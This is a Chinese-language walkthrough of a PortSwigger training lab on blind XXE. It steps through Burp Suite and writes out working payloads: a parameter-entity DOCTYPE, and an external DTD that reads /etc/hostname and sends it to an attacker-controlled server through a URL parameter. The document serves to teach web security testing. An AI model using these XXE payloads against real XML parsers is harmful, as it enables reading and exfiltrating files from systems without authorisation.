从业者-盲XXE-外部DTD
# 实验室:通过恶意外部DTD 实现盲XXE数据外泄
# 题目
此实验室具有一个 “Check stock(库存检查)” 功能,它可以解析 XML 输入,但不会显示结果。
若要解决实验室问题,请泄露/etc/hostname
文件的内容。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。
- name: 实验室-从业者
desc: 通过恶意外部DTD 实现盲XXE数据外泄 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
来到首页,点击任意商品下方的 “View details” 进入详情页。
在商品详情页的下方,可以看到一个库存检查功能。
启用浏览器代理,然后点击 “Check stock” 检查库存。
将请求数据包转发至 Repeater 功能模块。
尝试注入经典的 XML 外部实体,实体被禁止使用。
以 “参数实体” 的形式重新构造攻击载荷,并尝试触发带外交互:
<!DOCTYPE abc [ <!ENTITY % carsaid SYSTEM "http://你的域"> %carsaid; ]>
切换至 Collaborator 选项卡,等待一会儿,可以看到域的 DNS/HTTP 信息,说明带外交互成功。
(可以点击 “Poll now” 立即刷新信息)
带外交互成功,下一步是进行带外数据泄露。
回到实验室页面,点击上方的 “Go to exploit server” 进入漏洞利用服务器。
漏洞利用服务器 提供了一个托管服务,我们可以定义自己的响应信息。
通过页面上的 URL 链接可以访问该信息,默认返回了一段字符串 “Hello, world!”。
重新定义响应内容,以 “参数实体” 的形式构造 XXE 攻击载荷。
该载荷会读取/etc/hostname
的文件内容,然后将其附加到 URL 参数x
当中,最后访问该 URL 并传递x
参数值。
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % carsaid SYSTEM 'https://漏洞利用服务器的域/?x=%file;'>">
%eval;
%carsaid;
2
3
4
定义好之后,点击 “Store” 保存。
再次访问链接,返回的内容已经发生了变化。
回到 BurpSuite ,注入 XML 参数实体,并加载远程 DTD 文件。
(值得注意的是,实体的名称不能重复,否则会造成冲突)
<!DOCTYPE xyz [ <!ENTITY % said SYSTEM "https://漏洞利用服务器的域/exploit"> %said; ]>
回到漏洞利用服务器,点击下方的 “Access log” 查看访问日志。
在日志当中,可以看到一个 IP 地址为10.0.3.187
的记录,它的请求由一个 Java 程序发出。说明 盲XXE 带外交互成功了。
- 该程序先是请求了
/exploit
文件,获取远程 XML 文件的内容,并执行其中的 XML 参数实体。 - 执行的过程中,将
/etc/hostname
的文件内容附加到x
参数当中,并再次访问/?x=内容
从而造成带外数据泄露,获得主机名f0fe1d6f0be1
。
回到实验室主页,点击上方的 “Submit solution” 打开输入框,填入刚刚获得的主机名,然后点击 “确定” 。
提交正确,实验完成。